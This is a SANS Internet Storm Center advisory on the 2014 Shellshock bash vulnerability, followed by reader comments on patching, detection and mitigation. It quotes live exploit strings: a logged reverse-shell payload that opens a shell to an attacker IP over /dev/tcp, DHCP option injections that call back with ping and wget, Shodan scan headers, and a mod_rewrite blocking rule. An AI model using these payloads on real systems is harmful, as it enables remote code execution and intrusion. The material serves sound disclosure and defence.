Threat Level: green Handler on Duty: Brad Duncan

SANS ISC: Update on CVE-2014-6271: Vulnerability in bash (shellshock) - SANS Internet Storm Center SANS ISC InfoSec Forums


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Update on CVE-2014-6271: Vulnerability in bash (shellshock)

On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]

Should I apply the patch?

Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>\' bash -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo". 

 

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].

Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,? - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.

It also may be possible to find exposed systems through DHCP:

From one of our readers (Big Shout out and thank you to Patrick!)

Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).

The Solution:

option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";

and running a packet sniffer on IP.THAT.YOU.CONTROL.

It's most reliable and least intrusive (1 ICMP packet).

Unless ICMP filtering is in place in which case, use...

option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";

will also work on systems that have wget. Just tail logs for 404s

NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!

This DHCP solution is experimental so be careful!

Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.  

Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]

We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:

178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>&1" "-"

We are now seeing reports of worms in the wild exploiting telnet on DoD networks, through the BotNet WopBot [worm]. See resources for details.

How is exploitation happening?

There are currently 3 different avenues that are being explored as most likely to expose the vulnerability:

HTTP: cgi-bin scripts using bash. They do not necessarily have to use a /cgi-bin/ URL . Different directories can be configured to expose scripts to cgi-bin. This vulnerability is also not limited to Apache. CGI scripts writen in other languages (perl, python) may be vulnerable if they call bash [see comment below] 
 

DHCP: This exploit vector is a tad harder to reach, but can attack clients as well as servers. In Linux, the dhcp clients sets environment variables based on data supplied by the DHCP server. The client then calls various bash scripts to adjust network configurations. A malicious DHCP server may provide crafted data that will then lead to code execution via the bash vulnerability. This is in particularly critical as these scripts are executed as root. 
A metasploit module has been released [met] and the exploit is easily performed using standard DHCP servers [tru].

SSH: In ssh, the user may set environment variables when connecting to an ssh server. These can then be used to bypass shell restrictions imposed on the user.

 

[cisco1] http://tools.cisco.com/security/center/mcontent/CiscoSecurityAdvisory/cisco-sa-20140926-bash
??[cisco2] http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
[cve1]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
??[cve2]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[f5-1] https://twitter.com/ashk4n/status/515121090688196609
??[f5-2] https://devcentral.f5.com/articles/cve-2014-6271-shellshocked
[fsf] https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
??[met] https://github.com/rapid7/metasploit-framework/pull/3891
[osx] http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploit-cve-2014-6271-an/146851#146851
[sel] http://danwalsh.livejournal.com/71122.html
[thr] http://blog.threatstop.com/2014/09/27/threatstop-blocking-shellshock-bash-scanners/
[tps] http://threatpost.com/apple-os-x-safe-by-default-against-bash-vulnerability/108586#sthash.y3ureGEh.dpuf
[tru] https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[ubu] http://www.ubuntu.com/usn/usn-2363-1/
[vol] http://www.volexity.com/blog/?p=19
[snort] https://www.snort.org/advisories/vrt-rules-2014-09-24.html
[meta] https://github.com/rapid7/metasploit-framework/pull/3891
[deb] https://security-tracker.debian.org/tracker/CVE-2014-7169
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspxCVE-2014-7169

 

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Johannes

3035 Posts
ISC Handler
Metasploit is busy. I have verified 3880 works.

hxxps://github.com/rapid7/metasploit-framework/pull/3884

hxxps://github.com/rapid7/metasploit-framework/pull/3880

hxxps://github.com/rapid7/metasploit-framework/pull/3885

hxxps://github.com/rapid7/metasploit-framework/pull/3882

Dana Taylor
@miss_sudo
netinfiltration

3 Posts Posts
The original test string is

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Note the :; rather than the ;; in the Diary entry.


The modified test string is either

$ env -i X='() { (a)=>\' bash -c 'date'

if you want the 0 byte date file created, or

$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo

if you want a file named echo created which contains the current date and time.

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
https://bugzilla.redhat.com/show_bug.cgi?id=1141597
Robert

3 Posts Posts
It is interesting that a code injection that is over 20 years old is a headline. We are always told that we have a security skill shortage, don't we really have a skilled admin shortage. This shortage will only continue to grow with many long term admins set to retire.

Can this code injection RISK be managed by permissions, setuid and setgid? Why are systems with poor permission or that have not considered this risk publicly facing? Is the failure not addressing or managing the risk at deployment? Who are the companies or security folks responsible for the management? (A name names so to speak.. company X hired company y and they did not perform admin 101) Not to mention if your a security vendor and your products can be compromised by this code injection.... <--Again name products....

While vulnerable, which still seems to be the case after the update, is the major issue is the lack of admin skills to manage this code injection risk?

Maybe the focus needs to be on developing the next generation of exceptional admins...

We can also ask, how many of these kind of issues are in expert admin's play books that can wreak havoc on far less skilled admins? Kind of similar to the old school aliasing of commands on the newbie...
steve

7 Posts Posts
I guess it is now time to do something like this...

find / -perm -04000 -ls
find / -perm -02000 -ls


Unless of course you did that all those years ago....

Going to be interesting.
steve

7 Posts Posts
Quoting steve :Can this code injection RISK be managed by permissions, setuid and setgid? Why are systems with poor permission or that have not considered this risk publicly facing?


The answer is no... it can't be managed with setuid and setgid.
The insinuation that this is an admin issue doesn't seem to be rational.

This is a software bug in the shell itself that can be used to execute arbitrary code within the context of a shell.
The greatest foreseen danger is a CGI script running under software such as Apache or PHP will invoke a vulnerable shell to run a command.

The shell command contained may then use "exec" to replace the shell with an arbitrary binary which may then deliver a privilege escalation attack to become root and run some commands.
Mysid

146 Posts Posts
If you believe that this risk can be eliminated by time-tested administrative settings, please cite them specifically.

Or if you believe that the risk exists only if certain sloppy administrative mistakes are made, again please name those specifically.
packetdude

22 Posts Posts
Quoting steve :It is interesting that a code injection that is over 20 years old is a headline.


The sad thing is that most likely the US government (NSA) and other governments (Germany, China, Russia, etc.) have known about this exploit for years but have not released it to the public in order to use it for their own advantage.

It is not necessarily a lack of skill but a lack of communication between governments and private enterprises. I believe there are several efforts/organizations that are attempting to fix this issue but as long as people/governments/organizations are holding vulnerabilities hostage for their own advantage, security will continue to suffer. And it is not only the governments that are to blame, but also the shady and near-criminal zero-day exploit vendors that are to blame.
da1212

69 Posts Posts
Due to the incomplete fix of the current bash vulnerability (CVE-2014-6271), an additional CVE has been created - CVE-2014-7169 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), also rated 10 for impact and exploitability.
Landrew

6 Posts Posts
Ok, as this story has made its way into the blame-stream media its getting hard to tell fact from hype.

Has anyone actually seen "Internet of Things" devices being vulnerable to this? Every single device, router, lightbulb, thermostat, tv, security camera, and printer I have poked at is using busybox for its shell. I haven't found any embedded devices yet that are running bash. Which makes sense as the memory and storage constraints means bash is unnecessary bloat. Finding plenty of vulnerable desktops and servers but not a single embedded device with bash. I guess they could be out there but am not finding them in my scans which either means they aren't very common or the scanning tools available don't work on those types of devices. I stopped scanning for the vulnerability directly and just started logging into the embedded devices and checking what is providing the shell. And so far no bash.

But am seeing stories like this over at CNN http://money.cnn.com/2014/09/24/technology/security/bash-bug/ saying that the sky is falling because our light bulbs are after us.

So I guess the big question is has any actually found an embedded devices or appliances that are actually vulnerable to this?
NoLemmingsPlease

5 Posts Posts
I tend to agree, I have not found any embedded or "internet of insecure things" devices that were running full-blown bash. Like you I've only seen busybox, so they should not be vulnerable.
Jim

394 Posts Posts
ISC Handler
Quoting NoLemmingsPlease:Ok, as this story has made its way into the blame-stream media its getting hard to tell fact from hype.

Has anyone actually seen "Internet of Things" devices being vulnerable to this? Every single device, router, lightbulb, thermostat, tv, security camera, and printer I have poked at is using busybox for its shell. I haven't found any embedded devices yet that are running bash. Which makes sense as the memory and storage constraints means bash is unnecessary bloat. Finding plenty of vulnerable desktops and servers but not a single embedded device with bash. I guess they could be out there but am not finding them in my scans which either means they aren't very common or the scanning tools available don't work on those types of devices. I stopped scanning for the vulnerability directly and just started logging into the embedded devices and checking what is providing the shell. And so far no bash.

But am seeing stories like this over at CNN http://money.cnn.com/2014/09/24/technology/security/bash-bug/ saying that the sky is falling because our light bulbs are after us.

So I guess the big question is has any actually found an embedded devices or appliances that are actually vulnerable to this?


I exploited on Oracle Weblogic server.

http://blog.netinfiltration.com/2014/09/25/shellshock-cve-2014-6271-exploits-in-the-wild/
netinfiltration

3 Posts Posts
Not sure what's the state with other distros but Gentoo reports that it included a patch for CVE-2014-7169 today (around noon UTC):

https://bugs.gentoo.org/show_bug.cgi?id=CVE-2014-6271

http://www.gentoo.org/security/en/glsa/glsa-201409-10.xml

I updated my systems and the test commands fail as they should.
Anonymous

Posts
I'd point out that Debian mostly switched to dash as /bin/sh about 5 years ago; it hardly makes sense for most network daemons, CGI scripts or handlers to be forking a fully interactive shell. https://wiki.debian.org/DashAsBinSh

Also as the exploit is barely 10 characters, how did someone not find it yet through fuzzing? (Or perhaps they did, but kept it relatively quiet until now.)
Steven C.

171 Posts Posts
While they weren't designed to protect against the exploitation of this attack over HTTP, the modsec rules so far are doing a pretty good job on blocking the hundreds of scans/attempts hitting my server so far today.

modsecurity_crs_40_generic_attacks.conf

The rule set looks for matches on ping, nc, ftp, and other strings in headers where you don't expect to see them. Even if you don't want to risk enforcing the rules. Installing modsecurity and using it in detection only mode is a good way to generate audit logs and see the attacks as they hit your boxes.

Am seeing the attacks primary come over the SSL connection so my snort rules are doing me no good.
NoLemmingsPlease

5 Posts Posts
Stuff is on now folks...

http://pastebin.com/search?cx=013305635491195529773%3A0ufpuq-fpt0&cof=FORID%3A10&ie=UTF-8&q=CVE-2014-6271&sa.x=12&sa.y=11

Multiple exploits posted on Pastebin, and a DDOS bot that is making the rounds...

https://gist.github.com/anonymous/929d622f3b36b00c0be1

Has anyone seen a NSE script created yet for ShellShock?

Also there is multiple Metasploit Payloads in the works for ShellShock...

If you got nexpose, here is how to scan for it.
https://community.rapid7.com/community/nexpose/blog/2014/09/25/bash-the-bash-bug-here-s-how-to-scan-for-cve-2014-6271

Thanks
EZ
Edward

8 Posts Posts
For a system having Apache and mod_rewrite where you can modify the rewrite rules but it's hard to upgrade bash, here's a potential mitigation for CGI attacks:


# ShellShock bash vuln
RewriteCond %{HTTP_USER_AGENT} (\(\)\s\{) [OR]
RewriteCond %{HTTP_REFERER} (\(\)\s\{) [OR]
RewriteCond %{HTTP_COOKIE} (\(\)\s\{) [OR]
RewriteCond %{HTTP_HOST} (\(\)\s\{) [OR]
RewriteCond %{HTTP_FORWARDED} (\(\)\s\{)
RewriteRule Block_This_URL - [F,L]


(Note: I haven't tested this exact code, I'm testing a variant of it.)

Feedback solicited.

eta 9/26: Okay, this does appear to work.
John Hardin

62 Posts Posts
QUESTION: Does this affect iOS at all? There are many iPhones and iPads deployed in enterprises, and they often use DHCP for getting on the network: There was some speculation at the beginning that this might affect iOS but I have not heard anything since. So is there any confirmation one way or the other?
JSloan

4 Posts Posts
Shodan is scanning now. Hopefully the bad guys can reduce Internet traffic and just search Shodan for vulnerable hosts...
from 198.20.69.74
Host: x.x.x.x
Accept-Encoding: identity
Cookie: () { :; }; /bin/ping -c 1 104.131.0.69
Referer: () { :; }; /bin/ping -c 1 104.131.0.69
User-agent: () { :; }; /bin/ping -c 1 104.131.0.69
John

88 Posts Posts
So, am I correct in assuming that the DHCP attack method is a good case study to bolster support for restricting client-to-client traffic on Layer 2? Seems like just the exploit to highlight the risks - I've had network admins challenge me on the topic by claiming that the sophistication of an ARP poisoning attack is beyond their expected adveersaries, which is laughable, but the bosses take that viewpoint seriously.
Juice

12 Posts Posts
I have also heard in a call that other shells on Linux/unix might also be vulnerable. Have you guys heard anything of the same?


Ed
Ed

1 Posts Posts

Sign Up for Free or Log In to start participating in the conversation!